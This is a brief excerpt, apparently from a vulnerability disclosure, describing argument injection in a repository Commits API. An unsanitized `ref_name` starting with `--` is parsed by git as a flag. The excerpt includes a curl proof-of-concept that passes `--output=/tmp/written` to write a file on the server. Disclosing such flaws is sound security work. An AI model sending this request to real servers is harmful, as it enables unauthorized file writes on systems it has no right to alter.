原文摘录

摘自原文(3844 字符中的一小部分)
Summary The `ref_name` in the Commits API is not sanitized, allowing for a ref starting with `--` to be provided causing git to interpret it as a flag instead of as a ref.
原文中的代码
curl 'http://4290d4225642/api/v4/projects/5/repository/commits?path=.&ref_name=--output=/tmp/written'
